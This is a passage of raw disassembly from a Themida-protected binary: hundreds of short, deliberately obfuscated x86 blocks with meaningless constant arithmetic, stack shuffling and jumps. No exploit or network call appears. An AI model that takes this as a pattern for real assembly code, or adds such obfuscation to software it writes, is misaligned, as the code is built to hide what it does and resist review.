edi, esp jmp loc_5A33A8 ; --------------------------------------------------------------------------- loc_5910F4: ; CODE XREF: Themida_:005988E7j shl edi, 6 jmp loc_590B87 ; --------------------------------------------------------------------------- loc_5910FC: ; CODE XREF: Themida_:00597B2Bj mov edi, [esp] add esp, 4 push ebx mov ebx, 12212F3Fh push ecx mov ecx, 44260E3Ah and ebx, ecx jmp loc_5A4E6F ; --------------------------------------------------------------------------- loc_591115: ; CODE XREF: Themida_:0059C3ADj inc ah jmp loc_59E27A ; --------------------------------------------------------------------------- loc_59111C: ; CODE XREF: Themida_:005A3AC3j mov ebx, 699A7081h jmp loc_595BA1 ; --------------------------------------------------------------------------- loc_591126: ; CODE XREF: Themida_:005A2E90j pop edi jmp loc_59C54E ; --------------------------------------------------------------------------- loc_59112C: ; CODE XREF: Themida_:00591836j not ebx sub ebx, 61B45A97h and ebx, 6CE36BE2h or ebx, 0B9F6320h xchg esi, ebx jmp loc_5985E0 ; --------------------------------------------------------------------------- loc_591147: ; CODE XREF: Themida_:0059D3EAj mov edi, esp add edi, 4 jmp loc_598E03 ; --------------------------------------------------------------------------- loc_591154: ; CODE XREF: Themida_:00594EAAj pop ecx xor eax, ebp pop ebp push 3901h mov [esp], ecx sub esp, 4 mov [esp], ebx jmp loc_593E7A ; --------------------------------------------------------------------------- loc_59116B: ; CODE XREF: Themida_:005A478Bj pop esp loc_59116C: ; CODE XREF: Themida_:005A353Aj push esi push ebx sub esp, 4 mov [esp], esi mov esi, 111F49F3h jmp loc_593D40 ; --------------------------------------------------------------------------- loc_59117E: ; CODE XREF: Themida_:005960E3j sub di, ax pop eax push 0AAEh mov [esp], edx push ebp jmp loc_5967A4 ; --------------------------------------------------------------------------- loc_591190: ; CODE XREF: Themida_:005A10D2j pop ecx mov ebp, edi push dword ptr [esp] pop edi jmp loc_59901D ; --------------------------------------------------------------------------- loc_59119C: ; CODE XREF: Themida_:0059C0B2j add esp, 4 neg edx xor edx, 902AD463h sub ecx, 5D6355E5h jmp loc_596E68 ; --------------------------------------------------------------------------- loc_5911B2: ; CODE XREF: Themida_:0059D297j mov ebp, [esp] jmp loc_592B6B ; --------------------------------------------------------------------------- loc_5911BA: ; CODE XREF: Themida_:0059DBBFj push edi mov edi, 8FF1429h shl edi, 5 and edi, 7CE4358Fh sub edi, 579D3629h neg edi push edx mov edx, 58892DCBh xor edi, edx pop edx sub ebx, edi mov edi, [esp] add esp, 4 mov eax, [ebx] push dword ptr [esp] pop ebx add esp, 4 jmp loc_5990C1 ; --------------------------------------------------------------------------- loc_5911F0: ; CODE XREF: Themida_:005A3622j mov ebx, 2A6F2393h not ebx push edi mov edi, 59145BA9h and edi, 0D7E2792h add edi, 215B2018h add ebx, 668C3750h add ebx, edi sub ebx, 668C3750h pop edi add ebp, ebx pop ebx jmp loc_594F2A ; --------------------------------------------------------------------------- loc_591220: ; CODE XREF: Themida_:00594477j mov ecx, 0B594D27h or edx, ecx push dword ptr [esp] pop ecx add esp, 4 shr edx, 6 jmp loc_59470A ; --------------------------------------------------------------------------- loc_591239: ; CODE XREF: Themida_:0059EBCFj push esp pop ecx jmp loc_5A4ECD ; --------------------------------------------------------------------------- loc_591240: ; CODE XREF: Themida_:005A4045j push ebp mov ebp, 64E43870h sub ebp, 16434162h jmp loc_59B2EE ; --------------------------------------------------------------------------- loc_591251: ; CODE XREF: Themida_:00595085j push 6314h jmp loc_59E901 ; --------------------------------------------------------------------------- loc_59125B: ; CODE XREF: Themida_:00597A13j add eax, 4 push esi mov esi, 4 sub eax, 3CE37E3Eh add eax, 75FC3882h sub eax, esi sub eax, 75FC3882h jmp loc_5A3F4B ; --------------------------------------------------------------------------- loc_59127C: ; CODE XREF: Themida_:0059A555j pop ecx jmp loc_5A1FBD ; --------------------------------------------------------------------------- loc_591282: ; CODE XREF: Themida_:00595A83j xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp idiv cx push small 75A5h mov [esp], dx push ax pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59129F: ; CODE XREF: Themida_:0059B454j xchg esi, [esp] pop esp and eax, edx pop edx or edx, eax shl edx, 1 push ebx mov ebx, 1 push edx push ebx jmp loc_5A4616 ; --------------------------------------------------------------------------- loc_5912B7: ; CODE XREF: Themida_:0059B8A5j add ecx, ebx pop ebx sub ecx, 4F930F67h add ecx, ebp add ecx, 4F930F67h sub ecx, 35922B3Ah pop ebp sub ecx, 4 jmp loc_598F0D ; --------------------------------------------------------------------------- loc_5912DA: ; CODE XREF: Themida_:00592438j push esi mov esi, 4 push esi pop ecx pop esi add [esp+4], ecx mov ecx, [esp] add esp, 4 mov ebx, [esp] push 35A0h mov [esp], eax mov eax, esp jmp loc_59B737 ; --------------------------------------------------------------------------- loc_591302: ; CODE XREF: Themida_:00594997j add esi, 3A45659Eh add esi, eax sub esi, 3A45659Eh pop eax jmp loc_59DE14 ; --------------------------------------------------------------------------- loc_591316: ; CODE XREF: Themida_:0059619Aj or esi, ebp pop ebp xor esi, 649F5AA0h add edi, esi pop esi mov eax, edi pop edi push ebp mov ebp, 522C5CBCh jmp loc_5A48E1 ; --------------------------------------------------------------------------- loc_591330: ; CODE XREF: Themida_:0059EA47j mov [esp], ecx mov ecx, 198A2CA7h mov eax, 58D05475h jmp loc_599925 ; --------------------------------------------------------------------------- loc_591342: ; CODE XREF: Themida_:0059B114j sub ebx, 12D517D5h push esi jmp loc_5A42A7 ; --------------------------------------------------------------------------- loc_59134E: ; CODE XREF: Themida_:00593FA3j push 629Fh mov [esp], eax push edx mov edx, 27F41E9Ah or edx, 2F4D703Fh jmp loc_59B614 ; --------------------------------------------------------------------------- loc_591367: ; CODE XREF: Themida_:005A40DFj or edx, 6FE301D4h dec edx dec edx push ecx mov ecx, 66F957F6h add ecx, 3043744Bh or ecx, 4C9A74C1h jmp loc_5A0932 ; --------------------------------------------------------------------------- loc_591386: ; CODE XREF: Themida_:005918B3j add esp, 4 push ebx jmp loc_597648 ; --------------------------------------------------------------------------- loc_59138F: ; CODE XREF: Themida_:00599E58j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add esp, 4 sub dword ptr [esp], 4B56045Fh jmp loc_592A8A ; --------------------------------------------------------------------------- loc_5913AD: ; CODE XREF: Themida_:0059B769j shr edx, 4 sub edx, 1 add edx, 4D354F26h add edx, 0AD5A7C1Ah jmp loc_59C520 ; --------------------------------------------------------------------------- loc_5913C4: ; CODE XREF: Themida_:00590BCDj pop ecx add esp, 4 jmp loc_590344 ; --------------------------------------------------------------------------- loc_5913D0: ; CODE XREF: Themida_:005A30CBj xor ebp, edx pop edx add eax, ebp pop ebp add eax, 2 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_5972F9 ; --------------------------------------------------------------------------- loc_5913EA: ; CODE XREF: Themida_:005991A0j pop ebp shr ebp, 8 add ebp, 5EE31AFDh jmp loc_599D49 ; --------------------------------------------------------------------------- loc_5913F9: ; CODE XREF: Themida_:0059A1AEj sub edx, 46526DB7h jmp loc_599361 ; --------------------------------------------------------------------------- loc_591404: ; CODE XREF: Themida_:005A283Cj mov [esp], ecx mov ch, 0AEh shl ch, 1 xor ch, 30h or ch, 0B3h sub ch, 0C9h jmp loc_5A5730 ; --------------------------------------------------------------------------- loc_591419: ; CODE XREF: Themida_:00596300j add edi, 44923663h xor edi, 0A10C5D4Ah xor ebx, edi pop edi mov edi, ebx pop ebx xor edi, 73E97A08h jmp loc_59BE2B ; --------------------------------------------------------------------------- loc_591436: ; CODE XREF: Themida_:0059030Fj add ebp, edi add ebp, 603948CAh mov edi, [esp] add esp, 4 push 7028h mov [esp], ebx push 55ABh mov [esp], esi push eax mov eax, 7AB639CBh and eax, 5AC95738h add eax, 0FFFFFFFFh shl eax, 8 inc eax sub eax, 0FFFFFFFFh xor eax, 80110700h push eax mov esi, [esp] add esp, 4 pop eax push esi add dword ptr [esp], 4A4D3246h pop ebx jmp loc_5A4CC8 ; --------------------------------------------------------------------------- loc_591489: ; CODE XREF: Themida_:00593D16j xor [esp], ecx jmp loc_5A140E ; --------------------------------------------------------------------------- loc_591491: ; CODE XREF: Themida_:00593054j mov [esp], ebp push 7DA9670Ah pop ebp push ecx push edx mov edx, 7DA96708h mov ecx, edx jmp loc_5A476D ; --------------------------------------------------------------------------- loc_5914A8: ; CODE XREF: Themida_:00599D39j pop edi push eax mov eax, 532B223Eh xor eax, 7B1E1A53h push 2FB3h mov [esp], ecx push ebp mov ebp, 15C02264h add ebp, 779948C3h shr ebp, 8 shr ebp, 6 sub ebp, 929D0F57h push edx mov edx, ebp push ebx mov ebx, edx mov ecx, ebx pop ebx pop edx pop ebp xor ecx, 1AAF7732h sub ecx, 5170C3Ah jmp loc_59D404 ; --------------------------------------------------------------------------- loc_5914F0: ; CODE XREF: Themida_:005A56CBj mov edx, 6B0051E6h push edi mov edi, 1E803733h dec edi jmp loc_590F8C ; --------------------------------------------------------------------------- loc_591501: ; CODE XREF: Themida_:0059A1A1j mov esp, [esp] push dword ptr [eax] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59150B: ; CODE XREF: Themida_:005A278Dj mov ah, 33h jmp loc_598587 ; --------------------------------------------------------------------------- loc_591512: ; CODE XREF: Themida_:00594F20j pop edx mov eax, edx jmp loc_5948B0 ; --------------------------------------------------------------------------- loc_59151A: ; CODE XREF: Themida_:0059FC23j mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_591526: ; CODE XREF: Themida_:005A444Bj xor ecx, 51591704h mov edi, ecx jmp loc_5952BF ; --------------------------------------------------------------------------- loc_591533: ; CODE XREF: Themida_:0059A9B2j add esp, 4 jmp loc_5A17CB ; --------------------------------------------------------------------------- loc_59153E: ; CODE XREF: Themida_:0059C6E3j add edx, 4 xchg edx, [esp] pop esp jmp loc_59D2F9 ; --------------------------------------------------------------------------- loc_59154A: ; CODE XREF: Themida_:00594F4Dj add esp, 4 shl esi, 3 sub esi, 58F9FF3Dh add ecx, 44E3D3Bh jmp loc_59F988 ; --------------------------------------------------------------------------- loc_591564: ; CODE XREF: Themida_:005A0D97j mov bl, 39h xor ch, bl pop ebx and dh, ch pop ecx xor dh, 0E2h push eax mov ah, 21h not ah add ah, 73h xor dh, ah pop eax sub cl, 0ECh add cl, dh jmp loc_596098 ; --------------------------------------------------------------------------- loc_591584: ; CODE XREF: Themida_:005A2796j push edx push esp pop edx push ecx mov ecx, 4 add edx, ecx jmp loc_5926E8 ; --------------------------------------------------------------------------- loc_591594: ; CODE XREF: Themida_:00599F74j xor [esp], ebp xor ebp, [esp] pop esp push dword ptr [esp] jmp loc_595508 ; --------------------------------------------------------------------------- loc_5915A3: ; CODE XREF: Themida_:0059FB0Dj pop edx sub edi, 2F1516ABh sub esp, 4 mov [esp], edx push 346A20C1h pop edx inc edx add edx, 333626D2h sub edi, 7D290F43h sub edi, edx add edi, 7D290F43h jmp loc_59FEEF ; --------------------------------------------------------------------------- loc_5915D0: ; CODE XREF: Themida_:005A02B5j neg ecx neg ecx add ecx, 2DFD54C0h not ecx xor ecx, 0B6593D7Eh push eax mov eax, ecx mov ebp, eax pop eax pop ecx add ecx, ebp jmp loc_592F93 ; --------------------------------------------------------------------------- loc_5915F0: ; CODE XREF: Themida_:005A249Bj add edi, 63D064B9h add edi, 2B340D6h add edi, edx jmp loc_59FFC0 ; --------------------------------------------------------------------------- loc_591603: ; CODE XREF: Themida_:0059FF79j add edi, 0D25CCCD1h add esi, edi jmp loc_598FC1 ; --------------------------------------------------------------------------- loc_591610: ; CODE XREF: Themida_:0059FDD2j push eax mov eax, esp jmp loc_597A5A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] jmp loc_59074F ; --------------------------------------------------------------------------- loc_591623: ; CODE XREF: Themida_:00595616j pop esp push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edx jmp loc_599CE1 ; --------------------------------------------------------------------------- loc_591632: ; CODE XREF: Themida_:00594117j add esp, 4 push edx mov edx, 3A57792Bh shr edx, 7 sub edx, 536346C0h neg edx inc edx sub edx, 1 xor edx, 52EE97CCh jmp loc_591F5C ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_591663: ; CODE XREF: Themida_:00598F63j not ebx inc ebx xor ebx, 0FF62A5E7h jmp loc_59D867 ; --------------------------------------------------------------------------- loc_591671: ; CODE XREF: Themida_:005923E2j sub eax, 2B917E7Fh mov esi, [esp] add esp, 4 push esi push ebp mov ebp, 7B1A3EFAh mov esi, 0A53555E9h jmp loc_5A29C5 ; --------------------------------------------------------------------------- loc_591690: ; CODE XREF: Themida_:0059A063j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] jmp loc_59B855 ; --------------------------------------------------------------------------- loc_5916A9: ; CODE XREF: Themida_:005A2178j add ebp, 4 push ebx mov ebx, 4 sub ebp, ebx pop ebx jmp loc_59E607 ; --------------------------------------------------------------------------- loc_5916BD: ; CODE XREF: Themida_:0059804Cj mov edx, [esp] add esp, 4 mov ebx, [esp] push ebx push esp pop ebx push ebp mov ebp, 4 add ebx, ebp mov ebp, [esp] add esp, 4 push edx mov edx, 4 jmp loc_597014 ; --------------------------------------------------------------------------- loc_5916E5: ; CODE XREF: Themida_:005A4C3Ej sub esp, 4 jmp loc_59AD17 ; --------------------------------------------------------------------------- loc_5916F0: ; CODE XREF: Themida_:0059737Dj push edx mov edx, 141B0A3Ch mov esi, edx pop edx xor edx, esi pop esi sub edx, 234B072Eh jmp loc_5A0588 ; --------------------------------------------------------------------------- loc_591707: ; CODE XREF: Themida_:0059AC15j mov eax, [esp] jmp loc_59D792 ; --------------------------------------------------------------------------- loc_59170F: ; CODE XREF: Themida_:00592CC0j push esi jmp loc_5A2572 ; --------------------------------------------------------------------------- loc_591715: ; CODE XREF: Themida_:0059D18Dj push eax mov eax, esp push esi mov esi, 4 sub eax, 0CB0E7Bh add eax, esi push ecx push edx mov edx, 4E2227Ah mov ecx, 149C0E02h xor ecx, edx pop edx sub esp, 4 mov [esp], edx mov edx, 50642CA3h add edx, 431D3AE4h push ebx mov ebx, 72FC3C86h jmp loc_59368A ; --------------------------------------------------------------------------- loc_591750: ; CODE XREF: Themida_:0059C162j push ebx mov ebx, 220802B6h or ebx, 61B77FE2h shl ebx, 3 jmp loc_5980EB ; --------------------------------------------------------------------------- loc_591764: ; CODE XREF: Themida_:005990DDj mov [esp], ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_59176C: ; CODE XREF: Themida_:00597DDCj xor dh, 69h xor al, dh pop dx sub esp, 4 mov [esp], ecx push ebx push edx push eax mov ah, 2Eh or ah, 0B9h sub ah, 1Fh jmp loc_593A13 ; --------------------------------------------------------------------------- loc_59178C: ; CODE XREF: Themida_:005A3C7Cj neg esi push esi not dword ptr [esp] jmp loc_59DB59 ; --------------------------------------------------------------------------- loc_591797: ; CODE XREF: Themida_:005A098Fj dec eax or eax, 71C22171h not eax add eax, 19C44774h add eax, 86988D76h jmp loc_59479B ; --------------------------------------------------------------------------- loc_5917AE: ; CODE XREF: Themida_:0059B847j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 15B27A33h push eax push 8886D73h jmp loc_5994FB ; --------------------------------------------------------------------------- loc_5917C7: ; CODE XREF: Themida_:00593742j push edi mov edi, 17B72655h jmp loc_594521 ; --------------------------------------------------------------------------- loc_5917D2: ; CODE XREF: Themida_:0059D254j add cl, bh jmp loc_5A2C8D ; --------------------------------------------------------------------------- loc_5917D9: ; CODE XREF: Themida_:005A09D1j pop ecx sub ebx, edx pop edx sub ebx, eax push esi mov esi, 7CFE367Fh sub ebx, 1A8004B6h add ebx, esi add ebx, 1A8004B6h pop esi movzx ax, byte ptr [eax] push 54C2h jmp loc_5A4143 ; --------------------------------------------------------------------------- loc_591802: ; CODE XREF: Themida_:005933F7j push ecx mov ecx, 60724728h sub ecx, 0FFFFFFFFh jmp loc_59F15C ; --------------------------------------------------------------------------- loc_591813: ; CODE XREF: Themida_:005A4D15j push 0 sub [esp], edx pop edx jmp loc_597B8E ; --------------------------------------------------------------------------- loc_591821: ; CODE XREF: Themida_:005A4D77j pop ecx jmp loc_59F741 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_59739F ; --------------------------------------------------------------------------- loc_59182F: ; CODE XREF: Themida_:005A24B0j push ebx mov ebx, 497601B8h dec ebx jmp loc_59112C ; --------------------------------------------------------------------------- loc_59183B: ; CODE XREF: Themida_:005939E6j mov cl, 9Eh sub bl, 0Eh add bl, cl add bl, 0Eh jmp loc_595335 ; --------------------------------------------------------------------------- loc_59184A: ; CODE XREF: Themida_:00592198j pop ebx pop eax mov ecx, ebx mov ebx, [esp] add esp, 4 mov esi, [esp] push esi mov esi, esp add esi, 4 push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] jmp loc_598651 ; --------------------------------------------------------------------------- loc_591871: ; CODE XREF: Themida_:005A2BA6j mov esi, 34437CC4h sub esi, 5B72BC1h sub esi, 6C3273BDh jmp loc_59F4C7 ; --------------------------------------------------------------------------- loc_591887: ; CODE XREF: Themida_:0059E698j add ebx, eax jmp loc_591FAB ; --------------------------------------------------------------------------- loc_59188E: ; CODE XREF: Themida_:005944F3j pop ecx mov eax, esi jmp loc_597171 ; --------------------------------------------------------------------------- loc_591896: ; CODE XREF: Themida_:00597E65j push eax mov eax, esp push edx mov edx, 2DA6494Ah add edx, 0D259B6BAh add eax, edx pop edx add eax, 4 xchg eax, [esp] mov esp, [esp] jmp loc_591386 ; --------------------------------------------------------------------------- loc_5918B8: ; CODE XREF: Themida_:005A0F1Aj pop ebp not ebx inc ebx shr ebx, 7 jmp loc_59C7F3 ; --------------------------------------------------------------------------- loc_5918C4: ; CODE XREF: Themida_:0059FC1Bj push eax push esp pop eax add eax, 4 push ebp mov ebp, 4 push ebp mov ebp, 485E6808h jmp loc_59BF73 ; --------------------------------------------------------------------------- loc_5918DD: ; CODE XREF: Themida_:00599AFCj add esp, 4 mov ebp, [esp] add esp, 4 mov edx, esi pop esi and eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 or edx, eax shl edx, 1 sub esp, 4 jmp loc_59E646 ; --------------------------------------------------------------------------- loc_591909: ; CODE XREF: Themida_:0059C508j shr edx, 1 add edx, 0D7218D12h mov esi, edx pop edx push ebp jmp loc_59A685 ; --------------------------------------------------------------------------- loc_59191A: ; CODE XREF: Themida_:00593CF5j mov ch, 9Fh dec ch add ch, 21h mov dl, ch jmp loc_59DEB0 ; --------------------------------------------------------------------------- loc_591928: ; CODE XREF: Themida_:00592361j mov [esp], edx mov edx, 45C87F74h push edx add dword ptr [esp], 762D67BFh pop edi sub edi, 762D67BFh pop edx dec edi push eax mov eax, 48AD07C1h jmp loc_596D19 ; --------------------------------------------------------------------------- loc_59194C: ; CODE XREF: Themida_:005979ECj sub al, dl push ecx jmp loc_590766 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp push dword ptr [esp] pop edi jmp loc_59BB55 ; --------------------------------------------------------------------------- loc_591968: ; CODE XREF: Themida_:0059724Ej sub esi, 4 push esi push dword ptr [esp+4] jmp loc_5A4474 ; --------------------------------------------------------------------------- loc_591975: ; CODE XREF: Themida_:0059CD89j mov ebx, 55B90401h add edx, ebx pop ebx sub edx, 2DD59F7h add edx, 87A04868h mov eax, edx pop edx mov ecx, eax pop eax and esi, ecx mov ecx, [esp] add esp, 4 push ecx mov ecx, 0E0C4B1Fh sub esi, ecx jmp loc_5A0F39 ; --------------------------------------------------------------------------- loc_5919A7: ; CODE XREF: Themida_:005A518Dj not dx jmp loc_596424 ; --------------------------------------------------------------------------- loc_5919AF: ; CODE XREF: Themida_:0059D9ACj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5909EA ; --------------------------------------------------------------------------- loc_5919C7: ; CODE XREF: Themida_:00591C49j sub esp, 4 mov [esp], esi push 15A76EBh mov esi, [esp] add esp, 4 xchg ebx, esi add ebx, 1 xchg ebx, esi jmp loc_5951E2 ; --------------------------------------------------------------------------- loc_5919E4: ; CODE XREF: Themida_:00595AA5j mov esp, [esp] mov ax, [esp] jmp loc_5A5737 ; --------------------------------------------------------------------------- loc_5919F0: ; CODE XREF: Themida_:00598017j push 6823h mov [esp], esp push edi mov edi, 4 add dword ptr [esp+4], 52CD2DF1h add [esp+4], edi jmp loc_59C82F ; --------------------------------------------------------------------------- loc_591A0F: ; CODE XREF: Themida_:0059D104j mov edi, 25F237CBh jmp loc_59D109 ; --------------------------------------------------------------------------- loc_591A19: ; CODE XREF: Themida_:0059830Bj ; Themida_:0059A887j sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx push 40FE7351h pop ebx push ecx push ebp jmp loc_598CC7 ; --------------------------------------------------------------------------- loc_591A35: ; CODE XREF: Themida_:00598D57j mov eax, 4 add ebx, eax jmp loc_59F026 ; --------------------------------------------------------------------------- loc_591A41: ; CODE XREF: Themida_:00593234j push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_59AA87 ; --------------------------------------------------------------------------- loc_591A56: ; CODE XREF: Themida_:00595FCDj add edi, 563A516Eh sub edi, 2615191Ah mov ebx, edi pop edi add ebp, 196D0062h jmp loc_59C940 ; --------------------------------------------------------------------------- loc_591A70: ; CODE XREF: Themida_:005968E8j mov ecx, 0D662F54h jmp loc_59EAFC ; --------------------------------------------------------------------------- loc_591A7A: ; CODE XREF: Themida_:005A2DD6j push eax jmp loc_596004 ; --------------------------------------------------------------------------- loc_591A80: ; CODE XREF: Themida_:005994AAj mov ebx, 331C3BECh sub ecx, ebx pop ebx push eax mov eax, 1A3073E5h xor eax, 266D4838h shl eax, 8 and eax, 10A00A78h sub eax, 313A4419h xor eax, 0D98ED56Eh xor ecx, eax pop eax jmp loc_596D97 ; --------------------------------------------------------------------------- loc_591AAD: ; CODE XREF: Themida_:005A4FB4j and eax, 42120EF4h jmp loc_595296 ; --------------------------------------------------------------------------- loc_591AB7: ; CODE XREF: Themida_:0059503Bj mov ecx, 27657589h inc ecx add ecx, 0D89A8A7Ah add edi, ecx push dword ptr [esp] jmp loc_599C18 ; --------------------------------------------------------------------------- loc_591ACD: ; CODE XREF: Themida_:0059558Dj pop eax mov edi, [esp] jmp loc_5940B0 ; --------------------------------------------------------------------------- loc_591AD6: ; CODE XREF: Themida_:005937B7j mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_59A1B3 ; --------------------------------------------------------------------------- loc_591AF2: ; CODE XREF: Themida_:00594BB1j not esi add esi, 45FF2A16h add edi, esi pop esi push eax mov eax, 4 add edi, eax mov eax, [esp] jmp loc_5953B7 ; --------------------------------------------------------------------------- loc_591B0D: ; CODE XREF: Themida_:005991BDj mov ebp, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A08F4 ; --------------------------------------------------------------------------- loc_591B1E: ; CODE XREF: Themida_:005A4406j push 77A4h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop eax push edi mov edi, 4 push esi jmp loc_5A0C35 ; --------------------------------------------------------------------------- loc_591B38: ; CODE XREF: Themida_:00596CC9j mov ebx, 2D693A99h shl ebx, 7 and ebx, 556B5446h xor ebx, 65E85D8Ah and ebx, 567E6614h push ebp mov ebp, 70D2683Fh push edi mov edi, 5DFB13ADh or edi, 10E37121h dec edi inc edi add edi, 54D80246h and edi, 77067C4Dh sub edi, 0E3AED682h jmp loc_5A43EE ; --------------------------------------------------------------------------- loc_591B7D: ; CODE XREF: Themida_:00598903j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5A115A ; --------------------------------------------------------------------------- loc_591B9B: ; CODE XREF: Themida_:00593C16j mov [esp], bx jmp loc_5A14B7 ; --------------------------------------------------------------------------- loc_591BA4: ; CODE XREF: Themida_:0059A2ACj or edi, 28AA5986h jmp loc_59EA1A ; --------------------------------------------------------------------------- loc_591BAF: ; CODE XREF: Themida_:0059D387j add edx, 4 xchg edx, [esp] mov esp, [esp] shr eax, 1 dec eax inc eax sub eax, 0F3EB1A0Dh push eax mov ebp, [esp] jmp loc_596A91 ; --------------------------------------------------------------------------- loc_591BCD: ; CODE XREF: Themida_:005A1FD8j mov esi, edx jmp loc_59F82B ; --------------------------------------------------------------------------- loc_591BD4: ; CODE XREF: Themida_:005A35C8j pop ebp jmp loc_5961FE ; --------------------------------------------------------------------------- loc_591BDA: ; CODE XREF: Themida_:005996B5j pop ebp pop dword ptr [esp] pop esp ror word ptr [esp], cl pushf jmp loc_5902C1 ; --------------------------------------------------------------------------- loc_591BE9: ; CODE XREF: Themida_:00597038j push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_5968ED ; --------------------------------------------------------------------------- loc_591C00: ; CODE XREF: Themida_:0059702Aj push 0FFFFFFFFh jmp loc_5A0E9F ; --------------------------------------------------------------------------- loc_591C0A: ; CODE XREF: Themida_:00594F93j mov edx, [esp] push esi jmp loc_59D7F4 ; --------------------------------------------------------------------------- loc_591C13: ; CODE XREF: Themida_:005A556Aj mov ebx, [esp] push ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add ecx, 4 jmp loc_5A2696 ; --------------------------------------------------------------------------- loc_591C3B: ; CODE XREF: Themida_:0059095Cj add ecx, 31DB081Ah sub ecx, 16AA0CE4h pop ebx push ebp jmp loc_5919C7 ; --------------------------------------------------------------------------- loc_591C4E: ; CODE XREF: Themida_:00592E59j pop ebp add ecx, 0EF0D3D23h add edi, ecx pop ecx push edi sub dword ptr [esp], 479E318Bh push dword ptr [esp] pop esi add esp, 4 add esi, 479E318Bh pop edi sub esi, 1 xor esi, 70DB2A19h xor esi, 1F574DE4h and esi, 28275B23h add esi, 0D7DB7000h jmp loc_5968C7 ; --------------------------------------------------------------------------- loc_591C94: ; CODE XREF: Themida_:005948ABj add esp, 4 pop ecx jmp loc_5902C1 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59C7E2 ; --------------------------------------------------------------------------- loc_591CA9: ; CODE XREF: Themida_:0059A6DBj pop ecx sub edx, 6CD770D9h jmp loc_593422 ; --------------------------------------------------------------------------- loc_591CB5: ; CODE XREF: Themida_:0059ACE6j add dword ptr [esp+4], 4B2F7F90h push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59514E ; --------------------------------------------------------------------------- loc_591CD8: ; CODE XREF: Themida_:0059F9DCj mov ecx, [esp] add esp, 4 sub ecx, 55794C94h push dword ptr [esp] jmp loc_5A4DF3 ; --------------------------------------------------------------------------- loc_591CEC: ; CODE XREF: Themida_:005951A1j mov edx, 28A035C6h add edx, 6ADE2490h xor edx, 6450205Bh jmp loc_5A1AA3 ; --------------------------------------------------------------------------- loc_591D02: ; CODE XREF: Themida_:005A21D4j mov [esp], ebp not dword ptr [esp] inc dword ptr [esp] pop ebp jmp loc_5A0703 ; --------------------------------------------------------------------------- loc_591D11: ; CODE XREF: Themida_:0059051Aj mov edi, esp jmp loc_59321A ; --------------------------------------------------------------------------- loc_591D18: ; CODE XREF: Themida_:00596EBFj pop esp jmp loc_59F02F ; --------------------------------------------------------------------------- loc_591D1E: ; CODE XREF: Themida_:00597264j pop esi push ecx jmp loc_59B8B0 ; --------------------------------------------------------------------------- loc_591D25: ; CODE XREF: Themida_:00598125j pop eax jmp loc_5963CE ; --------------------------------------------------------------------------- loc_591D2B: ; CODE XREF: Themida_:0059580Cj mov esp, [esp] jmp loc_593D7F ; --------------------------------------------------------------------------- loc_591D33: ; CODE XREF: Themida_:00595AF6j push edi push 781635B7h jmp loc_5A1E55 ; --------------------------------------------------------------------------- loc_591D3E: ; CODE XREF: Themida_:0059E3BBj pop eax jmp loc_59D598 ; --------------------------------------------------------------------------- loc_591D44: ; CODE XREF: Themida_:005A00A9j mov [ebx], ecx pop ecx mov edx, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] push edx push esp pop edx add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] jmp loc_59A881 ; --------------------------------------------------------------------------- loc_591D70: ; CODE XREF: Themida_:0059F09Dj add cl, 23h pop edx add cl, 40h push edx mov dl, 0CFh and dl, 81h xchg bh, dl not bh xchg bh, dl add dl, 1Bh inc dl jmp loc_597DB8 ; --------------------------------------------------------------------------- loc_591D8D: ; CODE XREF: Themida_:005956B0j mov esi, 0BF7C62B0h xor ebx, esi pop esi xor eax, ebx mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_59CAE8 ; --------------------------------------------------------------------------- loc_591DBD: ; CODE XREF: Themida_:0059F9F3j push ebp mov ebp, 4 add edx, ebp pop ebp xchg edx, [esp] pop esp sub ebx, 10221F34h or ebx, 429A13AAh push eax mov eax, 1BC10584h or ebx, eax pop eax jmp loc_591E5E ; --------------------------------------------------------------------------- loc_591DE4: ; CODE XREF: Themida_:00592F8Ej xchg edi, [esp] pop esp mov [esp], eax push 3BFFh mov [esp], esp sub esp, 4 mov [esp], eax push esi jmp loc_597A18 ; --------------------------------------------------------------------------- loc_591E02: ; CODE XREF: Themida_:0059F4C2j pop ecx push ebx jmp loc_59E7CE ; --------------------------------------------------------------------------- loc_591E09: ; CODE XREF: Themida_:005950C5j pop esi push 366h mov [esp], esi 